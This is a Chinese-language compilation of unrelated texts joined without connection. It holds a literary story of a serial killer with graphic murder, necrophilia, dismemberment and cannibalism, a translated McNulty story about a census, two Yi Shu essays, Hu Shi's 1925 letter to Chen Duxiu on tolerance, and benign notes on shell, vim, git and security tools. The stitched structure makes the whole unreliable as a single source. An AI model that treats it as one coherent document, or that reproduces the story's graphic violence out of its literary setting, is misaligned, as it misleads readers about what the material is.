　　“能让我说话吗？”他终于忍受不了炸弹爆炸之前的静寂。

　　“说！”刑警看着他。

　　“挖的都不是地方。”他指着台阶下那个捶布石说，“都在下边，曾经是个渗井的。后来倒污水就到院外去。”

　　于是，挖出了八具死尸。腥臭弥漫了院子，成群的苍蝇随之而来。对墙投下的明亮，强烈的光线斜射在潮湿窄小的渗井坑中。人们全恐惧地睁大了眼睛，用席要掩盖了那坑时，同时又发现坑底还有一条胳膊。

　　八个半？刑警脸皮上都生了鸡皮疙瘩。

　　“那胳膊是什么人的？”

　　“什么人的？”

　　“还杀了多少人呢？”

　　他真的记不起来了，这能是谁的胳膊？仰起球头，嘴陷进去一个深深的黑洞。有个时期，汉江北岸有许多收废品的。“谁有烂铜烂铁头发窝子酒瓶破纸喽——！”一吆喝，他就提—把斧头做刚刚劈了柴的姿势在门口应，我家有！收买者遂进了屋，接住了递过来的香烟，点燃上。“酒瓶都在柜底下。”头刚一弯下，斧头脑儿轻轻一敲那后脑勺，就倒了。他过去从死者的口里取了燃着的香烟。

　　收废品的都是男的。尤佚人端详起胳膊，胳膊腕上戴有绿塑料环。这是女人的胳膊，戴不起手表，也没有银镯子，丑美人！

　　是黄昏吧，晚霞十分好看，他是去过十八个石磙子碌碡的桥上的，让柔柔的风拂在脸上想像到一种受活。看桥那边远处的县城，看到了微尘浮动。有三个女子就从霞光里走过来了。她们都胖乎乎的身体。他身上的肌肉就勃动起来，又恨起来，听她们淡论着编草袋的生意，咒骂草价高涨又货物奇缺。“我家有稻草！”他主动地说。“有多少？”“不多，七十多斤，够一个人用的！”三个女子却互相看看，走了。第二天竞来了那个最胖的，说她们都想买又害怕对方买去所以前一日没有应承，要求他替她守秘密。胖女子死了。他将她白日放在柜里黑夜抱到炕上，后来腐烂生蛆只好割碎去。但他确实为她守了秘密。

　　“你奸尸？碎尸？！”

　　一个耳光打得尤佚人口鼻出血，又被三轮摩托车带回县城去了。尤佚人有生以来已经是第二次坐摩托车了，铐了双手，头塞在斗壳下，汗如滚豆子一样下来。他所遗憾的是没能看到十八个石磙子碌碡桥。这一个傍晚云烧得越来越红，漆水河上湉湉的水，与汉江交汇处漂浮的鸭梢子船，已经被腐蚀得通体金黄。

　　父亲靠着勇敢，当了武斗队长。队长可以背盒子枪，可以有一个穿一身黄上衣系着宽皮带的女秘书。女秘书有一双吊梢子眼。爹就不要娘了。

　　“你败兴了我的人！”爹拿烟头烧娘的脸，揪下娘头上一把一把头发。砸浆水瓮，砸炕背墙，疯得像一头狼，爹顺门走了。尤佚人扑出去抱住爹的大腿咬，他腮帮上挨了一巴掌眼冒火星倒在尘埃中。

　　“你要是我的儿子！”火星中爹在说，“跟我造反去！造反了什么都有！”

　　他说：“我要杀了你！”一口唾沫连血连一颗牙吐出来。

　　爹嘿嘿笑着，捡了他的牙撂在高高的房檐上，说：“落了牙撂在高处着好，你能杀了我就是我儿子！”

　　尤佚人和娘住在三间土屋里，娘常常惊起说有人进了院，吓瘫，下身就汪出一摊血来。天一黑，外边噼噼啪啪枪响，娘又要于黑暗中和衣下炕迈着干瘦如柴的腿去摸窗子关了没有。门关了，且横一根粗木。

　　每一夜都清冷漫长。风吹动着院东边的竹林，惶惶不宁。竹在这年月长得特别旺，衍过墙头，黑黝黝的浓重之影压在窗上如鬼如魅。尤佚人悄然下炕，夜行到汉江边的一个村子去找驻扎的一派。“谁？”“我！”“你是狗！”“你娘是母狗！”黑暗处一个持枪人近来拉动了枪栓。“你动我，我爹杀了你！”那人不动了，扭头追撵绰绰约约一行人。他看清那里八个人押着五个俘虏，俘虏五花大绑且背上皆有一小石磨盘。是去汉江里“煮饺子”。他钻进村子，寻着了爹住的房。门关着，灯还在亮，窗缝里看去，一面大炕上铺了豌豆放了木板载着一男一女悠来晃去地畅美。夜风里，他将门前的一垛包谷秆点燃了。

　　他逃坐在汉江边的弯脖子枯柳上，看熊熊的火光烧得半边天红，却奇怪地闻见了一种幽香，河岸石丛中的狼牙刺花的气味刺激着他大口吸了一嘴空气，而失身跌进河里去。第二天早晨冲在一片沙滩上，泥里水里拱出来，第一次捉住了鱼生吞活吃。

　　瘪家沟里惟独尤佚人个头太矮，七分像人，三分如鬼。家空空无物贫困似洗。娘得知丈夫已同女秘书同床卧枕，一夜里将老鼠药喝下七窍流血闭目而去。一条破板柜锯了四个腿儿将娘下葬后，白天吃稀粥糠菜，夜里玩弄那一根筋肉竟修长巨大，与身子失去比例。夏日之夜月明星稀，天地银辉，他浮游于汉江浅水之潭，那物勃起，竟划出水底淤泥如犁沟一般的渠痕，将河柳红细根须纠缠一团。遂碰见岸边一妇人经过，“我和你那个！”指着岸头两只狗在交媾。妇人扇他一个耳光。这耳光便从此扇去了他的正常勇敢，被村人嘲笑其父在革命中多享了几份女人，致使儿子见不上肉也喝不上汤。世界原本是大的，这年月使世界更空旷荒阔，于是他在瘪家沟无足轻重，走了并不显得宽松，回来亦不怎么拥挤。

　　偶然有人发觉他做贩肉的生意了。

　　“要赚钱呀？”

　　“……”

　　“挣女人呀？”

　　“……”

　　有人将他的肉全部买去，在十八个石磙子碌碡桥上，并约定他贩了肉专门卖他。他的肉很便宜。再挑着肉到桥上去，叫天子叫得生欢，往年冲垮了桥墩碌碡的洪水，吃水线高高地残留在半崖保存下纪录，他脑子在游荡。

　　往东，是繁华的县城，南城门外的渡口上成群的女子捣着棒槌洗衣，裙子之下也是没穿裤衩的吗？往西，一漫是山区，田野上的土路纠结，争取着三五日暮归人，女人直面走过来，奶头子抖得像揣了两个水袋……他计算着自己的年龄，还要活着三十年和四十年……

　　拣着天高云淡的日子到县城去，县城人鄙视着他，他也更仇恨起县城的人。听说城关一家饺子店做食极美，踅进去买了坐吃，就认识了一位还看得上与他说活的老太太。她胖如球类，坐下和站着一样高，睡下也一定和坐下一样高，每一次总夸说这饺馅特别油，特别香。

　　“你也常在这吃吗？”

　　“不多。”

　　老太太健谈，对他夸说自己的丈夫在县政府任一个主任。说她的儿子在县公安局工作。说她年纪大了还能吃下四两饺子。然后问他身世，哀叹他没有媳妇。由没媳妇又说到没媳妇的可怜。

　　“中街口的那个寡妇告隔壁的一个男人强奸了她。你认为这可能吗？”

　　“……”

　　“这怎么会可能呢？你拿着这个吧，你往笔帽里捅！”老太太兴致倒高，把口袋里一支钢笔拔出来卸了笔帽，她拿了笔帽让他把笔尖往里捅。他莫名其妙，左捅她偏右，右捅她偏左。

　　“瞧瞧，这能行吗？一定是通奸，或许就是男人用刀子逼着她，把她杀了！”

　　尤佚人默然同意，但脸变得铁青。

　　这一次在饭店里又碰着老太太了，她带了小孙女来吃，吃得满嘴流油。

　　“奶奶，我不吃这漂着的油珠花儿。”小孙女嚷着。

　　“油珠花儿要吃的，一个油珠花儿多像一颗太阳啊！”

　　“奶奶，太阳是圆的，油珠花儿是半圆的。”

　　“半圆？那就是月亮了！”

　　“啊啊，油月亮！”

　　孩子在喜欢地叫着，尤佚人猛然才发觉满碗的油珠花儿皆半圆如小月。脑子里针扎地一疼，放下筷子逃走了，再不到这家饺子店用饭。

　　烈烈大火烧毁了包谷秆垛，烧毁了一明两暗的三间瓦房。但队长和他的秘书逃出来及时，仅将上衣和裤子化成灰烬。尤佚人知道了爹没有死，也就“革命”了，参加到另—派。虽然没能够在武斗中杀人，别人却把人杀了让他去用树棍捅那裂开的脑袋，用石头砸那补镶的金黄铜门牙。

　　枪很长，背在肩上磕打膝盖。两派对垒在汉江，落日在河心大圆的黄昏里，风鸟啁啾，流水咽咽，河堤上的工事上架起乌黑的枪管。战壕里说着“革命”，又说杀人和女人，说得浑身燥热了枪放下都解了裤子手淫。他说：“我没孩子？哼，我要是不糟蹋这东西，十个二十个孩子都站成排了！”说罢，孤独和冷寂并没有解除，便等待天一染黑，将准星对准对岸某一目标。这时候他被一声枪响惊动了。

　　对岸一发冷弹将这边一个提灯笼送饭的伙夫击倒了。

　　“他活该用右手提灯笼？！”朝灯笼左边一尺的地方打当然是没命的。

　　“左手提不会向右边打吗？”

　　“用树棍挑着！”

　　尤佚人默不作声，两眼死死盯住对岸就发现了一点红光，倏忽明灭，扳机就勾动了。那边有惊叫声：“队长被打中了！打中上嘴唇了！”

　　爹从此上嘴唇开裂，如兔嘴。他不该在击中提灯笼的伙夫后得意抽纸烟。

　　翌日，一辆卡车拉着队长和秘书去县城医院做手术。车上装了钢板。汉江岸上两派拉锯攻占，形势紧张，刻不容缓，车行驶得疾速如风，长长的土路上尘土飞扬，像点燃了巨大的导火索。在一个急弯，车上的钢板因惯性而错位滑动，两个人的脑袋，无声无息中从脖子处切除了。司机在反光镜中突然看见车角的两个木桩似的人身，瑟然惊悸，停下车看时果然没有了头。折身往来路回返，软乎乎的转弯处湿地上两颗无血的脑袋滚在一起，脸还是笑笑的。

　　“尤佚人！”

　　“有！”

　　“你为什么杀人？”

　　“……”

　　“杀人的动机和目的？”

　　“……”

　　一双手又湿漉漉的了。审讯室的地上铺着砖块，一群从砖缝里钻出来的蚂蚁在激战，为一块馍粒，结果死伤无数。轻轻一敲，就那么倒下去了，其实很简单。关上门，将灯芯点燃，四壁的漆黑的墙上却能映出他的黑影。那人脸上或许很痛苦，或者笑纹还在，看着，他要坐下来沉静静地吃一根烟卷。男人可以不管，女人则要剥脱衣服。全身凉硬脱不下来，用自己的肩膀扛起死者头，再努力用手去褪死者的两个袖子，这往往弄出他一头一身汗。

　　“你是图财害命，还是因奸杀人？”审讯员直逼着问。

　　这又该怎么老实坦白呢？判案总讲究个动机和目的，尤佚人否认自己是图财。“有钱人不可能到我家来的。”他想，只要能到家里来，他就产生着想杀的欲望，这如身上发现了虱子能不弄死吗？杀完之后搜身子，虽然可以得十元二十元，甚至是一角或一角零五分。因奸杀人，自然只能是女性，“杀的不全是女人啊。”

　　无意中又闻到一种幽香，如烧毁了爹和秘书的房子后在汉江边闻到的一样。他歪头看见窗外是一花圃，开许多芍药、牡丹。花是靠风传播着花粉而延续生命的，它将生殖器顶在了头上。瘪家沟那么大个瘪。他不知道自己杀人的目的，完成不了老实坦白。

　　“油月亮！”尤佚人突然嘟嚷了一句。

　　“油月亮？油月亮是什么意思？！”

　　他猛地清醒，想到他和娘在石洞的情景，想到爹打娘，便有了小小的心眼。不能去牵连和坑害了别的更多的人。他勾下脑袋手又是湿漉漉的了。

　　油月亮，成了办案人员兴奋而又颇为头痛的一条重要线索，他们开始软的硬的，轮番的审讯。但笔录本上一直是“油月亮”三个字。他被特别关押在一个号子里，饭菜端进来，屎尿端出去，不能打他。要喝酒还必须给他拿酒。

　　一日，他说要到十八个石磙子碌碡桥去。办案人认为这次去一定与油月亮有关了。囚车将他带去。他站在漆水河的上游，怎么也没搞清那次断了桥后石磙子碌碡会冲到了上游泥沙里。他掬着水洗脸和脖子，搓下许多泥垢，拿着自己看还让办案人看。“你要坦白吗？”“坦白什么？”“油月亮！”他说：“我坦白我哄了你们，到这里来我想看看这桥的。”

　　尤佚人从来没有做过梦，当然更没有噩梦可言。但在一个冬天的正午，他睡在炕上似乎觉得做了一梦。梦到有许多女人，全来到他的炕上与他交媾，到后就阳痿了，见花不起，如垂泪蜡烛。沉沉睡下又复做梦，且竟连续刚才，却又都是些男人，恍惚间骂他是狼。他就绰绰影影回忆起自己的娘在地里收割麦子，疲乏了睡倒在麦捆上，有一只狼就爬近来伏在娘的身上，娘把他血淋淋地生下来了。醒来，一头冷汗，屋里正寂空，晌午的太阳从瓦缝激射下注。他爬不起身，被肢解一般，腿不知是腿手不知是手。

　　“娘，娘！”他觉得娘还睡在炕的那一头轻轻叹息。“娘，我是你和狼生下的吗？”

　　娘没有言语。他作想刚才阳痿的事，摸摸果然蔫如绳头，又以为娘知道了他的一切。“娘，是这东西让我杀人吗？我不要他了！我割呀！”窸窸窣窣在炕头抓，抓到一把剃头的刀，将腿根那个东西割下，甩到炕地。

　　“娘，我真的割了！你不相信吗？”

　　他坐起来，发现炕的那头并没有娘。娘早死了。炕地上那截东西竟还活着，一跳一跳的。

　　没有了想杀人的祸根，但尤佚人又常常冲动起杀人的欲望，他真不知道这是怎么啦？从瘪家沟走到县城，从县城走到瘪家沟。凡看见一个男人和女人，总觉得面熟。是他曾经杀掉的人？就怯怯地站定一边，等待着人家的讨伐。“这是阴鬼！”

　　他终于害怕了鬼。

　　他到山头下的寺院请求去当和尚。

　　住持却不接纳他。个矮丑陋，一脸杀相，文墨不识，住持立于山门的古柏古松之下，一番盘问之后将他撵下台阶去了。

　　尤佚人开始在门前屋后的空地上烧焚香表，他每夜更深人静之后要在地上画一个圆圈，一个圆圈的给一个人的，画上依稀还记得的模样，就默默焚纸。这奇异的现象使瘪家沟的人惊讶。惊讶一次，再惊讶一次，就生了疑窦。一半年来，到处传说有人失踪。有人就将这半截人的怪异报告了公安局。公安局叫去他一逼问，他毫无抵赖地说他杀过人了。

　　尤佚人终于有了罪名：歇斯底里杀人狂。法院判处他死刑。

　　宣判之后，问他有什么可讲的，他竟站过来对着麦克风说，我犯了个大错误，在我有生之年，我要为革命做出贡献。严肃的会场很是骚动，有人嘎地发笑了一声。

　　“你们知道油月亮吗？”他看着发笑的人说。

　　这正是一个夜晚，宣判室的门外夜空清静，半轮月亮一派银辉。

　　“油月亮就是人油珠花儿。”

　　“人油珠花儿？”

　　“菜油，花籽油，蓖麻油，豆油，猪油，羊油，油珠花儿都是圆圆的，人油是半个圆。”

　　宣判人不明白死囚犯话的意思，几乎忘记了追问下去。

　　“城关口的那一家饺子店是卖过人肉饺子的。店主也得判死刑。他害得人都去吃。你们可能都去吃过……”

　　宣判室里死寂了半晌，突然哗然了，宣判人脸色寡白地站起来发布纪律：此事谁也不能外传半点风声。遂让犯人在宣判书上按指印，便觉得胃里作呕，险些吐了什么出来。尤佚人终是坦白交待了一切，按指印很认真。但指印并不圆，半圆，一个红红的油月亮。

第三大道的这间酒馆

约翰·麦克纳尔蒂

　　他们在1950年进行了一次人口普查，在美国，每十年就会来一次。这次我希望他们查对了，我刚好知道在上次普查中，他们得出的美国大陆人口为131,669,275，而实际上至少有131,669,276。我刚好知道统计数字比实际数字至少少了一个，知道事实如此。

　　我之所以知道这件事，还要从拉里·费根说起，他是匹兹堡《新闻报》的市内部编辑，无论他在跟其他阶层的人职业上打交道中有多么讲究实际，不讲感情，他曾经是、现在是而且一直对两类人心肠软，这两类人，是和气的小个子老太太和领着一条狗的男孩。

　　总是有各种各样的怪人想进来找市内部的编辑，所以在绝大多数报社，他们在市内部编辑部门口设了个接待台，来挡住那些弱智的家伙。然而《新闻报》的每个人都对拉里·费根足够了解，不会把属于和气的小个子老太太的那类人赶走，一个小孩领着一条狗来了也是这样。拉里想见见他们，因为他不忍心把他们打发走，不管他在别的时候像我所说，有多么粗暴。

　　有一天——那是超过十年前的事——送稿员的头儿托尼从接待台那里过来跟拉里说话。

　　“外面有位小个子老太太想见您，费根先生。”

　　“咦，托尼，我在忙着呢。”拉里说。

　　“好吧，费根先生，我去跟她说。”托尼说。

　　“不，不，不，等一下。”费根说，“领她过来吧，我可以抽出几分钟时间，把她领进来！”

　　“好的，费根先生。”托尼说，他向我眨了一下眼睛，拉里也没有看到他。

　　不一会儿，托尼陪着进来的那个人我敢说有可能是从选角中心来的，如果有人打个电话去，要他们派来一个和气的小个子老太太。她拎着一个小小的手袋，手袋顶上有个束绳；她只有五英尺二英寸高，一头白发，衣服是好看的深颜色，她甚至戴了一条装饰边，也就是围到脖子处的一条花边。

　　室内部几乎没什么条件接待这种来访者，但是因为我旁边那张办公桌没人坐，拉里就让老太太坐在那儿。他扔掉手里的细雪茄坐到那张办公桌上。

　　“好的，夫人，”拉里说，“我能为您做点什么吗？”

　　“怎么称呼您，先生？”那位太太问道，声音很好听。

　　“我是费根先生——劳伦斯·J.费根。”拉里说。

　　我头一次听到他说自己是劳伦斯·J.费根，他也知道，因为他瞪了我一眼。有人问他姓名时，他总是说拉里·费根。

　　“费根先生，我很喜欢《新闻报》，”老太太说，她在室内部的一片混乱中倒是很镇静。“每天晚上不看就不知道该干吗。”

　　“谢谢您，夫人。”拉里说，“非常感谢。”

　　“我想知道您能不能为已经发生的事情做点什么，”老太太又说，脸上露出了微笑，“要么得说，是没有发生的事情。”

　　“我很乐意尽我所能，夫人。”拉里回答道。任何人从电影中对报纸内部编辑有了印象的人，都绝对不会相信有哪位竟能像拉里这样彬彬有礼。

　　“嗯，费根先生，做人口普查的人一直没有来找我——就是这件事。”老太太说，她突然显得沮丧。

　　“我不是很明白您的意思，夫人。”拉里说。

　　“费根先生，您记得你们登过一篇文章——哦，你们登过好几篇文章——在报纸上，关于人口普查的。”她说，“那些文章很有意思。我爱读《新闻报》。你知道，我一个人住，费根先生。我的孩子们都在加利福尼亚。当然，他们都成家了——可我并不是想告诉你这些。”

　　“没关系，夫人。您说人口普查怎么了？”拉里问。

　　“是的，费根先生，关于人口普查。”老太太说，“有一个星期天，你们登了一篇关于人口普查的长文章，里面有他们来人口普查时会问的全部问题。文章里还提到那个人记下一个名字和记下那么多问题的答案会挣多少钱。”

　　“对，夫人，我记得我们的确登过那样一篇文章。”拉里说。

　　“嗯，费根先生，”她说，“我本来想我要为那个人把什么都准备好等他上门，那样会帮助他那一天多去普查几个名字——不论他哪天来——因为我会完全准备好了，不会占用他太多时间。”

　　“那样做真是好心啊，夫人。”拉里说。他眼睛眨得太快，我看得出，那位老太太所做的事打动了他。

　　“费根先生，我等了一天又一天，一直没人来，”老太太又说，“一直没人来问我那些人口普查的问题。我想我给漏掉了。”

　　“现在已经全部结束了，人口普查那件事。”拉里气馁地说。

　　“对，费根先生。两天前的《新闻报》上有则消息：《人口普查结束》。就是这样说的，而一直没人来我家。我肯定是给漏掉了，您不觉得吗？费根先生？”

　　费根手里笨拙地把玩一枝铅笔，接着又不由自主从背心的上边口袋里掏出一根细雪茄，后来又回过神，把雪茄放了回去。“哎呀，夫人，给人口普查漏掉了！”他说，“嗯，我觉得我可以做点什么。您知道，普查的确是结束了，不过我想那些政府的人可以说允许再去他们漏过的地方，也许吧。”

　　“我现在肯定他们是漏了我家。”老太太说，“他们数错了，不是吗？当然，一个人根本没关系，我也意识到了，可是我早就把答案什么的全准备好了。”

　　“我跟你说我会怎样做，夫人。”拉里说，“我会把这件事告诉政府，相信他们会派人去府上把事情做好。您可以留个地址给我吗？”

　　“噢，可以的，费根先生。”老太太如释重负地说。她给了拉里地址，是在市里一个体面而安静的区段。她从椅子上站起来，拉里一直陪她到了接待台那里。

　　他回来后，嘴里叨着一根细雪茄走到我的办公桌前。“你觉得怎么样？”他说，“给人口普查漏掉了！他们把每个笨蛋、混账的无赖、暴徒、拉皮条还有天知道什么人都数了，却把那样一个和气的老太太给漏掉了！我的天，给人口普查漏掉了，岂有此理！”

　　拉里一点都没耽误。那天下午，他叫来了皮特·博茨福德，那是他最好的记者之一，他派给他任务。

　　“去找个像是人口普查记录簿的大本子带上，”他跟皮特说，“把我们那期登有人口普查全部问题的报纸找来，让前面办公室的女孩子帮你把问题全打出来，好看着不像是从报纸上剪下来的。”

　　“好的，拉里。然后呢？”

　　“去这位老太太家，装作你是政府派来的——搞人口普查，要显得正式得要命。明白吗？然后就回来，你只用做这些。”

　　“没问题，可是我不明白啊。”皮特说。

　　“咦，我忘了跟你说这都是干吗。”拉里说，“这位老太太给人口普查漏掉了。给人口普查漏掉了，一个和气的老太太，能想象吗？”

　　他跟皮特原原本本讲了他接待的那个来访者的事，那天下午，皮特去了那位老太太家，按照给他交待的完成了任务。

　　“她给我泡了杯茶。”他带着全部那些问题回来后，跟拉里说。

　　“和气的老太太。”拉里说，“她看样子满意吗？”

　　“开心得要命。”皮特说。

　　“你可以把那些问题什么的全扔了，皮特。”拉里说，“我想我们是浪费了一些时间，可是管他呢，管他呢。”

小生命

亦舒

　　如果在周末乘搭过地车，你大抵不会相信，世上七对夫妻，平均有一对不育。

　　而每位适龄女性，一年之内，其实只有廿四天受孕机会。

　　每次正常的怀孕，又有四分一会得不幸小产。

　　仍然满街那么多小孩跑来跑去，真正不可思议。

　　撇开生老病死，人生忧患多，欢乐少这些哲理不去说它，世上的确没有什么可爱得过一个活泼健康的新生儿。

　　国泰民安之际，婴儿特别受欢迎，不育夫妇渐渐把希望寄在科学上。

　　不育的成因非常复杂，十分一个案根本找不到因由，可以医治者已属幸运儿，针药手术稀疏平常，到底还是夫妻之间私事，你情我愿，吃点苦头，花费金钱，无所谓。

　　更绝望的一小撮往往牵涉到第三者：捐精、代母，便是例子。

　　得来全不费工夫者会觉得不可思议？

　　老说“有就有，没有就没有”的一扬人，多数一子一女已经进了大学。

　　如果上帝答应不要的，能与需要的交换就好了。

一条路

亦舒

　　连我这样年纪的人，都认为女性其实只有一条路可走，那就是先搞身心经济独立，然后才决定是否要成家立业，希望工作可与家庭并重。

　　不知恁地，年轻一大截的小朋友却表示渴望做金丝雀，受保护、被宠爱、一生毋需挣扎，生活有人照顾。

　　那是另外一个世界，另外一种营生，在这地球上，每一件事都有阴暗面，我们生活在一个真实的世界里，没有什么，毋需要付出代价。

　　工作所需付出的精神时间心血，完全没有秘密可言，光明正大：竞争、失败、再起、成功、升上去、努力、获得报酬、达到目的。

　　那另外一种营生，黑幕实在不足为外人道，亦是一条血路，一般是一将功成万骨枯，我们所见到的，只是状元花魁的表面风光，一个人要长期在另一个人手中讨生活，无论如何是痛苦的。那一行沦落起来，又可达万劫不复地步，不如自力更生，工作能力一旦获得社会赏识，则要名有名，要利有利，自信十足，顾盼自如。

　　那么多妇女放弃老路不走去走新路，可见老路上自有不可告人之荆棘，而新路亦自有可喜之处。

致陈独秀

胡适

　　独秀兄：前几天我们谈到北京群众烧毁《晨报》馆的事，我对你表示我的意见，你问我说：“你以为《晨报》不该烧吗？”

　　五六天以来，这一句话常常来往于我脑中。我们做了十年的朋友，同做过不少的事，而见解主张上常有不同的地方。但最大的不同莫过于这一点了。我忍不住要对你说几句话。

　　几十个暴动分子围烧一个报馆，这并不奇怪。这你是一个政党的负责领袖，对于此事不以为非，而以为“该”，这是使我很诧怪的态度。

　　你我不是曾同发表过一个“争自由”的宣言吗？（注：《争自由的宣言》，1920 年 8 月）那天北京的群众不是宣言“人民有集会结社言论出版自由”吗？《晨报》近年的主张，无论在你我眼里为是为非，绝没有“该”被自命争自由的民众烧毁的罪状；因为争自由唯一的原理是：“异乎我者未必即非，而同乎我者未必即是；今日众人之所是未必即是，而众人之所非未必真非。”争自由的唯一理由，换句话说，就是期望大家能容忍异己的意见与信仰。凡不承认异己者的自由的人，就不配争自由，就不配谈自由。

　　我也知道你们主张——阶级专制的人已不信仰自由这个字了。我也知道我今天向你讨论自由，也许为你所笑。但我要你知道，这一点在我要算一个根本的信仰。我们两个老朋友，政治主张上尽管不同，事业上尽管不同，所以仍不失其为老朋友者，正因为你我脑子背后多少总还同有一点容忍异己的态度。至少我可以说，我的根本信仰是承认别人有尝试的自由。如果连这一点最低限度的相同点都扫除了，我们不但不能做朋友，简直要做仇敌了。

　　你说是吗？我记得民国八年你被拘在警察厅的时候，署名营救你的人中有桐城派古文家马通伯与姚叔节。我记得那晚在桃李园请客的时候，我心中感觉一种高兴，我觉得在这个黑暗社会里还有一线光明：在那个反对白话文学最激烈的空气里，居然有几个古文老辈肯出名保你，这个社会还勉强够得上一个“人的社会”，还有一点人味儿。但这几年以来，却很不同了。不容忍的空气充满了国中。并不是旧实力的不容忍，他们早已没有摧残异己的能力了。最不容忍的乃是一班自命为最新人物的人。我个人这几年就身受了不少的攻击与污蔑。我这回出京两个多月，一路上饱读你的同党少年丑诋我的言论，真开了不少眼界。我是不会惧怕这种诋骂的，但我实在有点悲观。我怕的是这种不容忍的风气造成之后，这个社会要变成一个更残忍更残酷的社会，我们爱自由争自由的人怕没有立足容身之地了。

　　民国十四年 12 月（1925 年 12 月）

技术

收录自己写作的所有计算机技术内容。

杂七杂八，多为报错或某一技术点的笔记。

如果希望寻找完整教程，请另寻他径。

第一篇 Knowledge 和第二篇 Errors 文章，杂乱无序，篇幅浩大，敬请注意。

Tech Knowledge

Missing Semester 笔记

原视频链接

哔哩哔哩 完整版

哔哩哔哩 中译版 不完整

Youtube

笔记

Shell

  • $_ 为上一命令最后参数

  • !! 为上一命令

  • 双引号展开，单引号维持原样

  • 过程替换 <(，例子：cat <(ls) <(ls ..)

  • $@ 展开成所有参数

  • dev/null 为 Unix 特殊设备，任何输出重定向到它都会被直接丢弃，故适合用来丢弃输出，只查看执行结果 $?

  • 2> 重定向 2，即重定向标准错误流

  • updatedb 更新系统建立的索引

  • Ctrl+R 倒序搜索命令

vim

  • :sp 打开新 window
  • :qa 退出所有 window
  • Ctrl+U 上翻页，Ctrl+D 下翻页
  • H, M, L 移动到当前页的 上部，中部，下部
  • fo, Fw, te, Tn 移动到光标后第一个 o，光标前第一个 w，光标后第一个 e 前一个字符，光标前第一个 n 前一个后一个字符
  • c change，自动进入 insert 模式，少按一个键
  • Ctrl+R，Redo
  • V，进入 Visual Line 模式
  • Ctrl+V，进入 Visual Block 模式
  • ci[, change inside [
  • da(, delete around (
  • % 在括号键来回跳
  • . 会重复之前的编辑命令
  • .vimrc 配置文件

数据整理

  • less 查看
  • sed 基于行修改， awk 基于列修改
  • head 查看头几行， tail 查看尾几行
  • 正则表达式的捕获组
  • regex101.com
  • R 语言
  • gnuplot 画图工具
  • feh 图片查看工具

命令行环境

  • 信号机制

    • man singal
    • SIGINT = Ctrl+C
    • SIGQUIT = Ctrl+\
    • SIGSTOP = Ctrl+Z 挂起进程 etc.
    • 可以用于编写保存用户强制退出时的中间信息

  • SIGKILL 不建议使用，因为可能留下孤儿进程

  • 命令末尾加 & 意为后台运行

  • jobs 命令，bg 命令

  • tmux

    • Ctrl+B C 打开一个新 Window
    • Ctrl+B P N P（Previous）切回上一个 Window，N（Next）切向下一个 Window
    • Ctrl+B Z 缩放（Zoom）当前 Pane

  • 命令别名（alias）不能带参数

  • 符号链接可以转发，所以可以将 dotfile 列入版本控制之下

  • ssh 及其 config 文件

  • rsync -avP 推荐使用在复制多文件的情境下

版本控制

  • git clone --shallow 浅克隆，不包括完整的历史版本记录
  • git add -p <file> 交互式设置和暂存修改（可以交互式舍弃部分不希望暂存的修改）
  • git blame 查看文件的元数据，可以找出由谁在何时修改
  • git stash 隐藏修改，git stash pop 显示修改
  • git bisect 通过二分查找搜索历史记录

调试及性能分析

  • printf 调试法，大型系统则使用 log 分析
  • 控制台输出着色
  • system log
  • gdb 及其增强版 pwndbg，lldb
  • 系统调用追踪 strace
  • 网络数据包分析 tcpdump
  • 静态分析
  • vim 插件 ale 或 syntastic 进行代码风格提示
  • 实时时间（现实真实的时间），用户时间（也称 CPU 用户时间，CPU 执行用户代码所花的时间）和系统时间（也称 CPU 内核时间，CPU 执行内核代码所花费的时间）
  • 追踪分析器（tracing）及采样分析器（sampling）
  • 函数调用分析，行分析，内存分析，事件分析（不良缓存局部性，缺页错误，活锁）
  • 可视化：火焰山，调用图和控制流图
  • 资源监控
  • 基准测试等专用工具

元编程

  • make
  • 语义版本号
  • lockfile
    • 避免不必要的重新编译
    • 创建可复现的软件版本
    • 禁止自动升级到最新版本
  • 持续集成
  • 测试

安全和密码学

  • 熵（Entropy）
  • 散列函数（hash）
    • Git 中的内容寻址储存
    • 文件信息摘要
    • 承诺机制
  • 对称加密
  • 非对称加密
  • 密钥分发
  • 案例
    • 密码管理器
    • 两步验证
    • 全盘加密
      • Linux：Cryptsetup+LUKS
      • Windows：BitLocker
      • MacOS：FileVault
    • 聊天加密
    • SSH

大杂烩

  • 修改键位映射
    • 尤其是 Caps Lock
  • 守护进程（systemd）
  • FUSE（用户空间文件系统）
  • 备份
    • 复制存储在同一个磁盘上的数据不是备份
    • 同步方案也不是备份
    • 有效备份方案的几个核心特性
      • 版本控制
      • 删除重复数据
      • 安全性
  • API
    • IFTTT（If This Then That）
  • 常见命令行标志参数及模式
  • 窗口管理器
    • screen
    • tmux
  • VPN
  • Markdown
  • Hammerspoon（macOS 桌面自动化）
  • 开机引导以及 Live USB
    • Live USB 是包含了完整操作系统的闪存盘
      • 启动盘
      • 运行操作系统
      • 对硬盘上的相同操作系统进行修复
      • 恢复硬盘数据
    • 引导
  • Docker，Vagrant（构建和配置虚拟开发环境的工具），VMs，Cloud，OpenStack
  • 交互式笔记本编程
    • Jupyter：Julia，Python，R

提问&回答

  • 优先工具
    • 多键盘少鼠标
    • 学好编辑器
    • 自动化流程
    • 软件协同工作
  • Python VS Bash
    • 大型或者复杂脚本用 Python
    • Bash 对简短的一次性脚本有效
  • source script.sh 和 ./script.sh 的区别
  • 软件包和工具的位置
  • /bin 和 /lib
  • 性能分析
  • 浏览器插件
    • uBlock Origin
    • Stylus
    • 全页屏幕捕捉
    • 多账户容器
    • 密码集成管理器
  • 数据整理工具
    • jq 用于解析 JSON
    • pup 用于解析 HTML
    • Perl 语言
    • column -t
  • Docker 和虚拟机的区别
  • 不同的操作系统优缺点
    • 除了部分需求外，不建议使用 Windows
  • Linux 发行版
    • 差别不大
  • Vim VS Emacs
  • 机器学习应用的提示或技巧
  • Vim 小窍门
    • 插件
      • VimAwesome
      • dotfiles
    • 标记
      • m<X> 为 X 做标记
      • '<X> 回到标记位置
      • 导航
      • 撤销树
      • 时间撤销
      • 持续撤销
      • 热键
      • 高级文本对象
  • 两步验证 2FA
  • Web 浏览器评价

推荐软件

  • convert：格式转换
  • shellcheck：调试 bash
  • tldr：给出命令的用法例子，而不是像 man 一样给出详细说明
  • fd：find 的高阶版，默认使用正则表达式，支持彩色代码和 Unicode
  • ripgrep：grep 的高阶版，默认使用正则表达式，支持彩色代码和 Unicode，简写为 rp
  • fzf：搜索历史命令的高阶版，交互式，可以开启默认绑定到 Ctrl+R
  • fish：历史记录子串查找
  • tree 或 broot 或 nnn?：树状打印目录和文件
